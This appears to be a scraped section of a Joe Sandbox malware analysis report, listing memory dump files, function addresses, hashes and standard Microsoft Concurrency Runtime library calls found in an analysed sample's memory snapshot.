Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: c2d62f0fad3fda82722689cbc3ad17795ca836b415f1fef56436e6ed987d860a
Instruction ID: ce751a1aeeb1b5d7412321aff88300a5b6f94656b977e5f1e08e556ab467b2d3
Opcode Fuzzy Hash: c2d62f0fad3fda82722689cbc3ad17795ca836b415f1fef56436e6ed987d860a
Instruction Fuzzy Hash: 5221B831901B149FCB24EFA5C8908EAB3F6BF483007084A1EE442A7651CB70A881CBA6

Function 00614885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00614893
ListArray.LIBCONCRT ref: 006148A5

Part of subcall function 00615555: _InternalDeleteHelper.LIBCONCRT ref: 00615564

ListArray.LIBCONCRT ref: 006148AF
_InternalDeleteHelper.LIBCONCRT ref: 006148C8

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 07f67c530ec27d86df65dde61b18eab9dff9efd974fb73726ab5037d7ad7e845
Instruction ID: d6628085a91cfe6a3ad6ad2491f74f8c8432fadc211da8d95b702b72e1929ec8
Opcode Fuzzy Hash: 07f67c530ec27d86df65dde61b18eab9dff9efd974fb73726ab5037d7ad7e845
Instruction Fuzzy Hash: 3401D671600521AFCA99BBA4C986EEEBB6BBF84710708012DF40497752DF20ECA187A4

Function 0061EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0061EE6A
ListArray.LIBCONCRT ref: 0061EE7C

Part of subcall function 0061EF29: _InternalDeleteHelper.LIBCONCRT ref: 0061EF3B

ListArray.LIBCONCRT ref: 0061EE86
_InternalDeleteHelper.LIBCONCRT ref: 0061EE9F

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: b7b95c1400c99fc3810b219562e9925f20f2713058b0bdc3bcdc8ad6fc2ac1c9
Instruction ID: f17d84131e56a01c7e9c21c711d95dcc0e39981c10b80a21e677dd7853a2c360
Opcode Fuzzy Hash: b7b95c1400c99fc3810b219562e9925f20f2713058b0bdc3bcdc8ad6fc2ac1c9
Instruction Fuzzy Hash: A701A271240621AFCA696B60C982DEEBB6BBF84750708012DFC0457651CB22ECA29694

Function 0061D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0061D0C5
ListArray.LIBCONCRT ref: 0061D0D7

Part of subcall function 0061C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0061C6C4

ListArray.LIBCONCRT ref: 0061D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0061D0FA

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 2f42f39ad4cdee279dc968ab02ace1f21155ae9c0c883fb4ffc6b09acd3b49ca
Instruction ID: 4d6d2e6168cd9165867aa9475705995372c7ca1cde49f7c6a7da981d1c8d7eab
Opcode Fuzzy Hash: 2f42f39ad4cdee279dc968ab02ace1f21155ae9c0c883fb4ffc6b09acd3b49ca
Instruction Fuzzy Hash: 7E01F971340521BFCA697B60C9C6EEEBB6BBF44720708452DF40097751DF21ECA196D4

Function 006233C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006233DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 006233EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00623407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0062341F

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: b56dc0a763a4f1247e7cab8ca69f151404f3be44ba6ed56c603c34327222ec75
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 5001A732600934A7CB56FA549841AEFB79B9F94350F100059FC229B381DB75EF119AA0

Function 00619510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00619519

Part of subcall function 0060F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00615486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0061953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00619550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00619559

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
